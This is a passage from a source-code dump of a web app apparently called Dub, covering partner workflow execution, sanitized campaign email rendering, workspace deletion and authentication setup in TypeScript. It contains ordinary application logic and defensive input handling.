Record<\n  NonNullable<WorkflowContext[\"reason\"]>,\n  WorkflowConditionAttribute[]\n> = {\n  lead: [\"totalLeads\"],\n  sale: [\"totalConversions\", \"totalSaleAmount\"],\n  commission: [\"totalCommissions\"],\n};\n\nexport async function executeWorkflows({\n  trigger,\n  reason,\n  identity,\n  metrics,\n}: WorkflowContext) {\n  const { programId, partnerId } = identity;\n\n  let workflows = await prisma.workflow.findMany({\n    where: {\n      programId,\n      disabledAt: null,\n      trigger,\n    },\n  });\n\n  if (workflows.length === 0) {\n    console.log(\n      `No workflows found to execute for trigger ${trigger} and reason ${reason}.`,\n    );\n    return;\n  }\n\n  // Parse all workflow configs once upfront, filtering out any that fail to parse\n  const parsedWorkflows = workflows\n    .map((workflow) => {\n      try {\n        return {\n          workflow,\n          config: parseWorkflowConfig(workflow),\n        };\n      } catch (error) {\n        console.error(\n          `Failed to parse workflow config for workflow ${workflow.id}, skipping:`,\n          error,\n        );\n        return null;\n      }\n    })\n    .filter(\n      (\n        item,\n      ): item is {\n        workflow: Workflow;\n        config: ReturnType<typeof parseWorkflowConfig>;\n      } => item !== null,\n    );\n\n  if (parsedWorkflows.length === 0) {\n    console.log(\n      `No valid workflows found to execute for trigger ${trigger} and reason ${reason}.`,\n    );\n    return;\n  }\n\n  // Filter by reason if provided\n  let filteredWorkflows = parsedWorkflows;\n  if (reason) {\n    const expectedAttributes = REASON_TO_ATTRIBUTES[reason];\n    filteredWorkflows = parsedWorkflows.filter(({ config }) =>\n      config.conditions.some(({ attribute }) =>\n        expectedAttributes.includes(attribute),\n      ),\n    );\n\n    if (filteredWorkflows.length === 0) {\n      console.log(\n        `No relevant workflows found to execute for trigger ${trigger} and reason ${reason}.`,\n      );\n      return;\n    }\n  }\n\n  // Commissions require a separate expensive aggregate query.\n  // We only fetch if needed to avoid unnecessary database queries.\n  const shouldFetchCommissions = filteredWorkflows.some(({ config }) =>\n    config.conditions.some((c) => c.attribute === \"totalCommissions\"),\n  );\n\n  const [programEnrollment, totalCommissions] = await Promise.all([\n    prisma.programEnrollment.findUnique({\n      where: {\n        partnerId_programId: {\n          partnerId,\n          programId,\n        },\n      },\n      select: {\n        partnerId: true,\n        groupId: true,\n        links: {\n          select: {\n            clicks: true,\n            leads: true,\n            conversions: true,\n            sales: true,\n            saleAmount: true,\n          },\n        },\n      },\n    }),\n\n    shouldFetchCommissions\n      ? prisma.commission.aggregate({\n          where: {\n            earnings: { not: 0 },\n            programId,\n            partnerId,\n            status: {\n              in: [\"pending\", \"processed\", \"paid\"],\n            },\n          },\n          _sum: {\n            earnings: true,\n          },\n        })\n      : Promise.resolve({ _sum: { earnings: null } }),\n  ]);\n\n  if (!programEnrollment) {\n    console.error(\n      `Partner ${partnerId} is not enrolled in program ${programId}.`,\n    );\n    return;\n  }\n\n  if (!programEnrollment.groupId) {\n    console.error(\n      `Partner ${partnerId} is not enrolled in a group in program ${programId}.`,\n    );\n    return;\n  }\n\n  const { totalLeads, totalSaleAmount, totalConversions } =\n    aggregatePartnerLinksStats(programEnrollment.links);\n\n  const workflowContext: WorkflowContext = {\n    trigger,\n    reason,\n    identity: {\n      ...identity,\n      groupId: programEnrollment.groupId,\n    },\n    metrics: {\n      ...metrics,\n      aggregated: {\n        leads: totalLeads,\n        conversions: totalConversions,\n        saleAmount: totalSaleAmount,\n        commissions: totalCommissions._sum.earnings ?? 0,\n      },\n    },\n  };\n\n  for (const { workflow, config } of filteredWorkflows) {\n    try {\n      const handler = ACTION_HANDLERS[config.action.type];\n\n      if (!handler) {\n        throw new Error(`Unsupported workflow action ${config.action.type}`);\n      }\n\n      await handler.execute({\n        workflow,\n        context: workflowContext,\n      });\n    } catch (error) {\n      console.error(`Failed to execute workflow ${workflow.id}:`, error);\n      continue;\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/workflows/interpolate-email-template.ts",
    "content": "import { EmailTemplateVariables } from \"@/lib/types\";\n\n/**\n * Escapes a string for safe insertion into HTML text nodes and double-quoted attributes.\n */\nfunction escapeHtml(s: string): string {\n  return s\n    .replace(/&/g, \"&amp;\")\n    .replace(/</g, \"&lt;\")\n    .replace(/>/g, \"&gt;\")\n    .replace(/\"/g, \"&quot;\")\n    .replace(/'/g, \"&#39;\");\n}\n\n/**\n * Renders PartnerLink placeholders: http(s) URLs become a single anchor; otherwise escaped text.\n */\nfunction partnerLinkToAnchorOrText(raw: string): string {\n  const trimmed = raw.trim();\n  if (!trimmed) return \"\";\n\n  try {\n    const u = new URL(trimmed);\n    if (u.protocol !== \"http:\" && u.protocol !== \"https:\") {\n      return escapeHtml(trimmed);\n    }\n    return `<a href=\"${escapeHtml(u.href)}\" target=\"_blank\" rel=\"noopener noreferrer\">${escapeHtml(trimmed)}</a>`;\n  } catch {\n    return escapeHtml(trimmed);\n  }\n}\n\n/**\n * Substitutes campaign email template placeholders after HTML sanitization.\n *\n * **Syntax** — Whitespace around names and `|` is optional, e.g. `{{PartnerName}}`,\n * `{{ PartnerName | Guest }}`.\n *\n * **Values**\n * - Variable present → use its string form.\n * - Variable null/undefined → use pipe fallback if any, else empty string.\n *\n * **Output**\n * - `PartnerName`, `PartnerEmail`, etc.: HTML-escaped (treat as plain text; no raw HTML).\n * - `PartnerLink`: valid `http:` / `https:` URL → clickable `<a>`; else escaped text.\n *\n * @param text - HTML string containing `{{VariableName}}` or `{{Name | fallback}}`\n * @param variables - Map of template variable names to values\n * @returns HTML with placeholders replaced\n *\n * @example\n * ```ts\n * interpolateEmailTemplate({\n *   text: \"Hello {{PartnerName|Guest}}!\",\n *   variables: { PartnerName: \"John\" },\n * });\n * // \"Hello John!\" (Guest ignored when value present)\n * ```\n */\nexport function interpolateEmailTemplate({\n  text,\n  variables,\n}: {\n  text: string;\n  variables: Partial<EmailTemplateVariables>;\n}): string {\n  return text.replace(\n    /{{\\s*([\\w.]+)\\s*(?:\\|\\s*([^}]*?))?\\s*}}/g,\n    (_, key, fallback) => {\n      const value = variables[key];\n      const resolved = value != null ? String(value) : fallback?.trim() ?? \"\";\n      if (key === \"PartnerLink\") {\n        return partnerLinkToAnchorOrText(resolved);\n      }\n      return escapeHtml(resolved);\n    },\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/workflows/parse-workflow-config.ts",
    "content": "import {\n  workflowActionSchema,\n  workflowConditionSchema,\n} from \"@/lib/zod/schemas/workflows\";\nimport { Workflow } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\nexport function parseWorkflowConfig(\n  workflow: Pick<Workflow, \"id\" | \"triggerConditions\" | \"actions\">,\n) {\n  const conditions = z\n    .array(workflowConditionSchema)\n    .parse(workflow.triggerConditions);\n\n  const actions = z.array(workflowActionSchema).parse(workflow.actions);\n\n  if (conditions.length === 0) {\n    throw new Error(\"No conditions found in workflow.\");\n  }\n\n  if (actions.length === 0) {\n    throw new Error(\"No actions found in workflow.\");\n  }\n\n  return {\n    conditions,\n    condition: conditions[0],\n    action: actions[0],\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/workflows/render-campaign-email-html.ts",
    "content": "import { EmailTemplateVariables, TiptapNode } from \"@/lib/types\";\nimport { EMAIL_TEMPLATE_VARIABLES } from \"@/lib/zod/schemas/campaigns\";\nimport Image from \"@tiptap/extension-image\";\nimport Mention from \"@tiptap/extension-mention\";\nimport { generateHTML } from \"@tiptap/html/server\";\nimport StarterKit from \"@tiptap/starter-kit\";\nimport sanitizeHtml from \"sanitize-html\";\nimport { interpolateEmailTemplate } from \"./interpolate-email-template\";\n\nexport function renderCampaignEmailHTML({\n  content,\n  variables,\n}: {\n  content: TiptapNode | TiptapNode[];\n  variables: Partial<EmailTemplateVariables>;\n}): string {\n  const html = generateHTML(content, [\n    StarterKit.configure({\n      heading: {\n        levels: [1, 2],\n      },\n    }),\n    Image.configure({\n      HTMLAttributes: {\n        style: \"max-width: 100%; height: auto; margin: 12px auto;\",\n      },\n    }),\n    Mention.extend({\n      addAttributes() {\n        return {\n          ...this.parent?.(),\n          fallback: { default: null },\n        };\n      },\n      renderHTML({ node }: { node: any }) {\n        const label = node.attrs.fallback\n          ? `{{${node.attrs.id} | ${node.attrs.fallback}}}`\n          : `{{${node.attrs.id}}}`;\n        return [\n          \"span\",\n          {\n            class:\n              \"px-1 py-0.5 bg-blue-100 text-blue-700 rounded font-semibold\",\n            \"data-type\": \"mention\",\n            \"data-id\": node.attrs.id,\n          },\n          label,\n        ];\n      },\n      renderText({ node }: { node: any }) {\n        return node.attrs.fallback\n          ? `{{${node.attrs.id} | ${node.attrs.fallback}}}`\n          : `{{${node.attrs.id}}}`;\n      },\n    }).configure({\n      suggestion: {\n        items: ({ query }: { query: string }) => {\n          return EMAIL_TEMPLATE_VARIABLES.filter((item) =>\n            item.toLowerCase().startsWith(query.toLowerCase()),\n          ).slice(0, 5);\n        },\n      },\n    }),\n  ]);\n\n  const htmlWithListStyles = html\n    .replace(\n      /<ul([^>]*)>/g,\n      '<ul$1 style=\"padding-left: 30px; margin-left: 0;\">',\n    )\n    .replace(\n      /<ol([^>]*)>/g,\n      '<ol$1 style=\"padding-left: 30px; margin-left: 0;\">',\n    )\n    .replace(\n      /<li([^>]*)>/g,\n      '<li$1 style=\"margin-left: 0; padding-left: 4px; margin-top: 0px; margin-bottom: 0px;\">',\n    );\n\n  return interpolateEmailTemplate({\n    text: sanitizeHtmlBody(htmlWithListStyles),\n    variables,\n  });\n}\n\nconst sanitizeHtmlBody = (body: string) => {\n  return sanitizeHtml(body, {\n    allowedTags: [\n      \"p\",\n      \"strong\",\n      \"em\",\n      \"s\",\n      \"ul\",\n      \"ol\",\n      \"li\",\n      \"a\",\n      \"h1\",\n      \"h2\",\n      \"img\",\n      \"br\",\n    ],\n    allowedAttributes: {\n      a: [\"href\", \"name\", \"target\", \"rel\"],\n      img: [\"src\", \"alt\", \"title\", \"style\"],\n      ul: [\"style\"],\n      ol: [\"style\"],\n      li: [\"style\"],\n      \"*\": [\"class\"],\n    },\n    allowedSchemes: [\"http\", \"https\", \"mailto\"],\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/api/workflows/render-campaign-email-markdown.ts",
    "content": "import { EmailTemplateVariables, TiptapNode } from \"@/lib/types\";\nimport { EMAIL_TEMPLATE_VARIABLES } from \"@/lib/zod/schemas/campaigns\";\nimport Image from \"@tiptap/extension-image\";\nimport Mention from \"@tiptap/extension-mention\";\nimport StarterKit from \"@tiptap/starter-kit\";\nimport { renderToMarkdown } from \"@tiptap/static-renderer/pm/markdown\";\nimport { interpolateEmailTemplate } from \"./interpolate-email-template\";\n\nexport function renderCampaignEmailMarkdown({\n  content,\n  variables,\n}: {\n  content: TiptapNode | TiptapNode[];\n  variables: Partial<EmailTemplateVariables>;\n}): string {\n  if (!content) {\n    throw new Error(\"Document cannot be null or undefined\");\n  }\n\n  let markdown = renderToMarkdown({\n    extensions: [\n      StarterKit.configure({\n        heading: {\n          levels: [1, 2],\n        },\n      }),\n      Image,\n      Mention.configure({\n        suggestion: {\n          items: ({ query }: { query: string }) => {\n            return EMAIL_TEMPLATE_VARIABLES.filter((item) =>\n              item.toLowerCase().startsWith(query.toLowerCase()),\n            ).slice(0, 5);\n          },\n        },\n      }),\n    ],\n    content,\n    options: {\n      nodeMapping: {\n        mention: (props: any) => {\n          return `{{${props.node.attrs.id}}}`;\n        },\n      },\n    },\n  });\n\n  markdown = markdown.replace(/^[\\s\\n]+|[\\s\\n]+$/g, \"\");\n\n  return interpolateEmailTemplate({\n    text: markdown,\n    variables,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/workflows/utils.ts",
    "content": "import { WorkflowConditionAttribute } from \"@/lib/types\";\nimport { SCHEDULED_WORKFLOW_TRIGGERS } from \"@/lib/zod/schemas/workflows\";\nimport { Workflow } from \"@dub/prisma/client\";\nimport { parseWorkflowConfig } from \"./parse-workflow-config\";\n\nexport const isCurrencyAttribute = (activity: WorkflowConditionAttribute) =>\n  activity === \"totalCommissions\" || activity === \"totalSaleAmount\";\n\nexport const isScheduledWorkflow = (workflow: Workflow) => {\n  const { condition } = parseWorkflowConfig(workflow);\n\n  const shouldSchedule = SCHEDULED_WORKFLOW_TRIGGERS.includes(workflow.trigger);\n\n  if (\n    !shouldSchedule ||\n    (shouldSchedule && condition.attribute === \"partnerJoined\") // for partnerJoined, we execute immediately on partner enrollment\n  ) {\n    return false;\n  }\n\n  return true;\n};\n"
  },
  {
    "path": "apps/web/lib/api/workspaces/assert-role-plan.ts",
    "content": "import { isRoleAvailableForPlan } from \"@/lib/workspace-roles\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport \"server-only\";\nimport { DubApiError } from \"../errors\";\n\n// Throws an error if the role is not available for the given plan\nexport function assertRoleAllowedForPlan({\n  role,\n  plan,\n}: {\n  role: WorkspaceRole;\n  plan: string | null;\n}) {\n  const isAvailable = isRoleAvailableForPlan({\n    role,\n    plan,\n  });\n\n  if (isAvailable) {\n    return;\n  }\n\n  const planName =\n    role === WorkspaceRole.billing\n      ? \"Advanced\"\n      : role === WorkspaceRole.viewer\n        ? \"Business\"\n        : null;\n\n  const message = planName\n    ? `The ${role} role is only available on ${planName} plan and above.`\n    : `The ${role} role is not available.`;\n\n  throw new DubApiError({\n    code: \"bad_request\",\n    message,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/workspaces/create-workspace-id.ts",
    "content": "import { createId } from \"../create-id\";\n\nexport const createWorkspaceId = () => {\n  const workspaceId = createId({ prefix: \"ws_\" });\n\n  // guard against collisions with old workspace ID format\n  if (workspaceId.toLowerCase().startsWith(\"ws_c\")) {\n    return createWorkspaceId();\n  }\n\n  return workspaceId;\n};\n"
  },
  {
    "path": "apps/web/lib/api/workspaces/delete-workspace.ts",
    "content": "import { storage } from \"@/lib/storage\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  DUB_DOMAINS_ARRAY,\n  LEGAL_USER_ID,\n  LEGAL_WORKSPACE_ID,\n  prettyPrint,\n  R2_URL,\n} from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { qstash } from \"../../cron\";\nimport { cancelSubscription } from \"../../stripe/cancel-subscription\";\nimport { markDomainAsDeleted } from \"../domains/mark-domain-deleted\";\nimport { linkCache } from \"../links/cache\";\n\nexport async function deleteWorkspace(\n  workspace: Pick<WorkspaceProps, \"id\" | \"slug\" | \"logo\" | \"stripeId\">,\n) {\n  await Promise.all([\n    // Remove the users\n    prisma.projectUsers.deleteMany({\n      where: {\n        projectId: workspace.id,\n      },\n    }),\n\n    // Remove the default workspace\n    prisma.user.updateMany({\n      where: {\n        defaultWorkspace: workspace.slug,\n      },\n      data: {\n        defaultWorkspace: null,\n      },\n    }),\n  ]).then((results) => {\n    console.log(prettyPrint(results));\n  });\n\n  waitUntil(\n    Promise.allSettled([\n      // Remove the API keys\n      prisma.restrictedToken.deleteMany({\n        where: {\n          projectId: workspace.id,\n        },\n      }),\n\n      // Cancel the workspace's Stripe subscription if exists\n      workspace.stripeId && cancelSubscription(workspace.stripeId),\n\n      // Delete workspace logo if it's a custom logo stored in R2\n      workspace.logo &&\n        workspace.logo.startsWith(`${R2_URL}/logos/${workspace.id}`) &&\n        storage.delete({ key: workspace.logo.replace(`${R2_URL}/`, \"\") }),\n\n      // Queue the workspace for deletion\n      qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/workspaces/delete`,\n        body: {\n          workspaceId: workspace.id,\n        },\n      }),\n    ]).then((results) => {\n      console.log(prettyPrint(results));\n    }),\n  );\n}\n\nexport async function deleteWorkspaceAdmin(\n  workspace: Pick<WorkspaceProps, \"id\" | \"slug\" | \"logo\" | \"stripeId\">,\n) {\n  while (true) {\n    const defaultDomainLinks = await prisma.link.findMany({\n      where: {\n        projectId: workspace.id,\n        domain: {\n          in: DUB_DOMAINS_ARRAY,\n        },\n      },\n      select: {\n        id: true,\n        domain: true,\n        key: true,\n      },\n      take: 100,\n    });\n\n    if (defaultDomainLinks.length === 0) {\n      break;\n    }\n\n    const [redisRes, prismaRes] = await Promise.allSettled([\n      linkCache.expireMany(defaultDomainLinks),\n      prisma.link.updateMany({\n        where: {\n          id: {\n            in: defaultDomainLinks.map((link) => link.id),\n          },\n        },\n        data: {\n          projectId: LEGAL_WORKSPACE_ID,\n          userId: LEGAL_USER_ID,\n        },\n      }),\n    ]);\n\n    console.log(\n      `Banned ${defaultDomainLinks.length} default domain links for ${workspace.slug}`,\n      redisRes,\n      prismaRes,\n    );\n  }\n\n  const customDomains = await prisma.domain.findMany({\n    where: {\n      projectId: workspace.id,\n    },\n    select: {\n      slug: true,\n    },\n  });\n\n  // delete all domains, links, and uploaded images associated with the workspace\n  const deleteDomainsLinksResponse = await Promise.allSettled(\n    customDomains.map(({ slug }) =>\n      markDomainAsDeleted({\n        domain: slug,\n      }),\n    ),\n  );\n\n  console.log(\n    `Deleted ${customDomains.length} custom domains for ${workspace.slug}`,\n    deleteDomainsLinksResponse,\n  );\n\n  // Delete folders\n  const deleteFoldersResponse = await prisma.folder.deleteMany({\n    where: {\n      projectId: workspace.id,\n    },\n  });\n\n  console.log(\n    `Deleted ${deleteFoldersResponse.count} folders for ${workspace.slug}`,\n  );\n\n  // Delete customers\n  const deleteCustomersResponse = await prisma.customer.deleteMany({\n    where: {\n      projectId: workspace.id,\n    },\n  });\n\n  console.log(\n    `Deleted ${deleteCustomersResponse.count} customers for ${workspace.slug}`,\n  );\n\n  const deleteWorkspaceResponse = await Promise.allSettled([\n    // delete workspace logo if it's a custom logo stored in R2\n    workspace.logo &&\n      workspace.logo.startsWith(`${R2_URL}/logos/${workspace.id}`) &&\n      storage.delete({ key: workspace.logo.replace(`${R2_URL}/`, \"\") }),\n    // if they have a Stripe subscription, cancel it\n    workspace.stripeId && cancelSubscription(workspace.stripeId),\n    // delete the workspace\n    prisma.project.delete({\n      where: {\n        slug: workspace.slug,\n      },\n    }),\n  ]);\n\n  console.log(`Deleted workspace ${workspace.slug}`, deleteWorkspaceResponse);\n\n  return {\n    deleteDomainsLinksResponse,\n    deleteWorkspaceResponse,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/workspaces/is-saml-enforced-for-email-domain.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { APP_HOSTNAMES } from \"@dub/utils\";\nimport { headers } from \"next/headers\";\nimport { isGenericEmail } from \"../../is-generic-email\";\n\n// Checks if SAML SSO is enforced for a given email domain\nexport const isSamlEnforcedForEmailDomain = async (email: string) => {\n  const hostname = (await headers()).get(\"host\");\n  const emailDomain = email.split(\"@\")[1].toLocaleLowerCase();\n\n  if (\n    !hostname ||\n    !emailDomain ||\n    !APP_HOSTNAMES.has(hostname) ||\n    isGenericEmail(email)\n  ) {\n    return false;\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      ssoEmailDomain: emailDomain,\n    },\n    select: {\n      ssoEnforcedAt: true,\n    },\n  });\n\n  if (workspace?.ssoEnforcedAt) {\n    return true;\n  }\n\n  return false;\n};\n"
  },
  {
    "path": "apps/web/lib/api/workspaces/onboarding-step-cache.ts",
    "content": "import { OnboardingStep } from \"@/lib/onboarding/types\";\nimport { redis } from \"@/lib/upstash\";\n\nconst CACHE_KEY_PREFIX = \"onboarding-step\";\nexport const ONBOARDING_WINDOW_SECONDS = 60 * 60 * 24; // 24 hours\n\nclass OnboardingStepCache {\n  async set({ userId, step }: { userId: string; step: OnboardingStep }) {\n    return await redis.set(`${CACHE_KEY_PREFIX}:${userId}`, step, {\n      ex: ONBOARDING_WINDOW_SECONDS,\n    });\n  }\n\n  async mset({ userIds, step }: { userIds: string[]; step: OnboardingStep }) {\n    const pipeline = redis.pipeline();\n    userIds.forEach((userId) => {\n      pipeline.set(`${CACHE_KEY_PREFIX}:${userId}`, step, {\n        ex: ONBOARDING_WINDOW_SECONDS,\n      });\n    });\n    return await pipeline.exec();\n  }\n\n  async get({ userId }: { userId: string }) {\n    return await redis.get(`${CACHE_KEY_PREFIX}:${userId}`);\n  }\n}\n\nexport const onboardingStepCache = new OnboardingStepCache();\n"
  },
  {
    "path": "apps/web/lib/api/workspaces/workspace-id.ts",
    "content": "export const prefixWorkspaceId = (workspaceId: string) => {\n  return workspaceId.startsWith(\"ws_\") ? workspaceId : `ws_${workspaceId}`;\n};\n\nexport const normalizeWorkspaceId = (workspaceId: string) => {\n  return workspaceId.startsWith(\"ws_c\")\n    ? workspaceId.replace(\"ws_\", \"\")\n    : workspaceId;\n};\n"
  },
  {
    "path": "apps/web/lib/auth/admin.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { DUB_WORKSPACE_ID, getSearchParams } from \"@dub/utils\";\nimport { getSession } from \"./utils\";\n\n// Internal use only (for admin portal)\ninterface WithAdminHandler {\n  ({\n    req,\n    params,\n    searchParams,\n  }: {\n    req: Request;\n    params: Record<string, string>;\n    searchParams: Record<string, string>;\n  }): Promise<Response>;\n}\n\nexport const isDubAdmin = async (userId: string) => {\n  const response = await prisma.projectUsers.findUnique({\n    where: {\n      userId_projectId: {\n        userId,\n        projectId: DUB_WORKSPACE_ID,\n      },\n    },\n  });\n  if (!response) {\n    return false;\n  }\n  return true;\n};\n\nexport const withAdmin =\n  (handler: WithAdminHandler) =>\n  async (\n    req: Request,\n    { params: initialParams }: { params: Promise<Record<string, string>> },\n  ) => {\n    const params = (await initialParams) || {};\n    const session = await getSession();\n    if (!session?.user) {\n      return new Response(\"Unauthorized: Login required.\", { status: 401 });\n    }\n\n    const isAdminUser = await isDubAdmin(session.user.id);\n    if (!isAdminUser) {\n      return new Response(\"Unauthorized: Not an admin.\", { status: 401 });\n    }\n\n    const searchParams = getSearchParams(req.url);\n    return handler({ req, params, searchParams });\n  };\n"
  },
  {
    "path": "apps/web/lib/auth/confirm-email-change.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport ConfirmEmailChange from \"@dub/email/templates/confirm-email-change\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { randomBytes } from \"crypto\";\nimport { hashToken } from \".\";\nimport { DubApiError } from \"../api/errors\";\nimport { ratelimit, redis } from \"../upstash\";\n\n// Send the OTP to confirm the email address change for existing users/partners\nexport const confirmEmailChange = async ({\n  email,\n  newEmail,\n  identifier,\n  isPartnerProfile = false,\n  hostName,\n}: {\n  email: string;\n  newEmail: string;\n  identifier: string;\n  isPartnerProfile?: boolean; // If true, the email is being changed for a partner profile\n  hostName: string;\n}) => {\n  const { success } = await ratelimit(3, \"1 d\").limit(\n    `email-change-request:${identifier}`,\n  );\n\n  if (!success) {\n    throw new DubApiError({\n      code: \"rate_limit_exceeded\",\n      message:\n        \"You've requested too many email change requests. Please try again later.\",\n    });\n  }\n\n  // Remove existing verification tokens\n  await prisma.verificationToken.deleteMany({\n    where: {\n      identifier,\n    },\n  });\n\n  const token = randomBytes(32).toString(\"hex\");\n  const expiresIn = 15 * 60 * 1000;\n\n  // Create a new verification token\n  await prisma.verificationToken.create({\n    data: {\n      identifier,\n      token: await hashToken(token, { secret: true }),\n      expires: new Date(Date.now() + expiresIn),\n    },\n  });\n\n  // Set the email change request in Redis, we'll use this to verify the email change in /auth/confirm-email-change/[token]\n  await redis.set(\n    `email-change-request:user:${identifier}`,\n    {\n      email,\n      newEmail,\n      ...(isPartnerProfile && { isPartnerProfile }),\n    },\n    {\n      px: expiresIn,\n    },\n  );\n\n  waitUntil(\n    sendEmail({\n      subject: \"Confirm your email address change\",\n      to: newEmail,\n      react: ConfirmEmailChange({\n        email,\n        newEmail,\n        confirmUrl: `${hostName}/auth/confirm-email-change/${token}`,\n      }),\n    }),\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/auth/constants.ts",
    "content": "export const PASSWORD_RESET_TOKEN_EXPIRY = 1 * 60 * 60; // 1 hour\n\nexport const MAX_LOGIN_ATTEMPTS = 10;\n\nexport const EMAIL_OTP_EXPIRY_IN = 5 * 60; // 5 minutes\n\nexport const FRAMER_API_HOST =\n  process.env.NODE_ENV === \"production\"\n    ? \"https://api.framer.com\"\n    : \"https://api.development.framer.com\";\n"
  },
  {
    "path": "apps/web/lib/auth/hash-token.ts",
    "content": "export const hashToken = async (\n  token: string,\n  {\n    secret = false,\n  }: {\n    secret?: boolean;\n  } = {},\n) => {\n  const encoder = new TextEncoder();\n\n  const data = encoder.encode(\n    `${token}${secret ? process.env.NEXTAUTH_SECRET : \"\"}`,\n  );\n  const hashBuffer = await crypto.subtle.digest(\"SHA-256\", data);\n  const hashArray = Array.from(new Uint8Array(hashBuffer));\n\n  return hashArray.map((b) => b.toString(16).padStart(2, \"0\")).join(\"\");\n};\n"
  },
  {
    "path": "apps/web/lib/auth/index.ts",
    "content": "export * from \"./admin\";\nexport * from \"./hash-token\";\nexport * from \"./options\";\nexport * from \"./session\";\nexport * from \"./utils\";\nexport * from \"./workspace\";\n"
  },
  {
    "path": "apps/web/lib/auth/lock-account.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { User } from \"@dub/prisma/client\";\nimport { MAX_LOGIN_ATTEMPTS } from \"./constants\";\n\nexport const incrementLoginAttempts = async (\n  user: Pick<User, \"id\" | \"email\">,\n) => {\n  const { invalidLoginAttempts, lockedAt } = await prisma.user.update({\n    where: { id: user.id },\n    data: {\n      invalidLoginAttempts: {\n        increment: 1,\n      },\n    },\n    select: {\n      lockedAt: true,\n      invalidLoginAttempts: true,\n    },\n  });\n\n  if (!lockedAt && invalidLoginAttempts >= MAX_LOGIN_ATTEMPTS) {\n    await prisma.user.update({\n      where: { id: user.id },\n      data: {\n        lockedAt: new Date(),\n      },\n    });\n\n    // TODO:\n    // Send email to user that their account has been locked\n  }\n\n  return {\n    invalidLoginAttempts,\n    lockedAt,\n  };\n};\n\nexport const exceededLoginAttemptsThreshold = (\n  user: Pick<User, \"invalidLoginAttempts\">,\n) => {\n  return user.invalidLoginAttempts >= MAX_LOGIN_ATTEMPTS;\n};\n"
  },
  {
    "path": "apps/web/lib/auth/options.ts",
    "content": "import { isBlacklistedEmail } from \"@/lib/edge-config\";\nimport { jackson } from \"@/lib/jackson\";\nimport { isStored, storage } from \"@/lib/storage\";\nimport { UserProps } from \"@/lib/types\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { sendEmail } from \"@dub/email\";\nimport LoginLink from \"@dub/email/templates/login-link\";\nimport { prisma } from \"@dub/prisma\";\nimport { PrismaClient } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { PrismaAdapter } from \"@next-auth/prisma-adapter\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { User, type NextAuthOptions } from \"next-auth\";\nimport { AdapterUser } from \"next-auth/adapters\";\nimport { JWT } from \"next-auth/jwt\";\nimport CredentialsProvider from \"next-auth/providers/credentials\";\nimport EmailProvider from \"next-auth/providers/email\";\nimport GithubProvider from \"next-auth/providers/github\";\nimport GoogleProvider from \"next-auth/providers/google\";\nimport { createId } from \"../api/create-id\";\nimport { isProduction, skipAuthThrottling } from \"../api/environment\";\nimport { isSamlEnforcedForEmailDomain } from \"../api/workspaces/is-saml-enforced-for-email-domain\";\nimport { qstash } from \"../cron\";\nimport { completeProgramApplications } from \"../partners/complete-program-applications\";\nimport { FRAMER_API_HOST } from \"./constants\";\nimport {\n  exceededLoginAttemptsThreshold,\n  incrementLoginAttempts,\n} from \"./lock-account\";\nimport { validatePassword } from \"./password\";\nimport { trackDubLead } from \"./track-dub-lead\";\n\nconst VERCEL_DEPLOYMENT = !!process.env.VERCEL_URL;\n\nconst CustomPrismaAdapter = (p: PrismaClient) => {\n  return {\n    ...PrismaAdapter(p),\n    createUser: async (data: any) => {\n      return p.user.create({\n        data: {\n          ...data,\n          id: createId({ prefix: \"user_\" }),\n          notificationPreferences: {\n            create: {},\n          },\n        },\n      });\n    },\n  };\n};\n\nexport const authOptions: NextAuthOptions = {\n  providers: [\n    EmailProvider({\n      sendVerificationRequest({ identifier, url }) {\n        if (!isProduction) {\n          console.log(`Login link: ${url}`);\n          return;\n        }\n\n        sendEmail({\n          to: identifier,\n          subject: `Your ${process.env.NEXT_PUBLIC_APP_NAME} Login Link`,\n          react: LoginLink({ url, email: identifier }),\n        });\n      },\n    }),\n    GoogleProvider({\n      clientId: process.env.GOOGLE_CLIENT_ID as string,\n      clientSecret: process.env.GOOGLE_CLIENT_SECRET as string,\n      allowDangerousEmailAccountLinking: true,\n    }),\n    GithubProvider({\n      clientId: process.env.GITHUB_CLIENT_ID as string,\n      clientSecret: process.env.GITHUB_CLIENT_SECRET as string,\n      allowDangerousEmailAccountLinking: true,\n    }),\n    {\n      id: \"saml\",\n      name: \"BoxyHQ\",\n      type: \"oauth\",\n      version: \"2.0\",\n      checks: [\"pkce\", \"state\"],\n      authorization: {\n        url: `${process.env.NEXTAUTH_URL}/api/auth/saml/authorize`,\n        params: {\n          scope: \"\",\n          response_type: \"code\",\n          provider: \"saml\",\n        },\n      },\n      token: {\n        url: `${process.env.NEXTAUTH_URL}/api/auth/saml/token`,\n        params: { grant_type: \"authorization_code\" },\n      },\n      userinfo: `${process.env.NEXTAUTH_URL}/api/auth/saml/userinfo`,\n      profile: async (profile) => {\n        let existingUser = await prisma.user.findUnique({\n          where: { email: profile.email },\n        });\n\n        // user is authorized but doesn't have a Dub account, create one for them\n        if (!existingUser) {\n          existingUser = await prisma.user.create({\n            data: {\n              id: createId({ prefix: \"user_\" }),\n              email: profile.email,\n              name: `${profile.firstName || \"\"} ${\n                profile.lastName || \"\"\n              }`.trim(),\n              notificationPreferences: {\n                create: {},\n              },\n            },\n          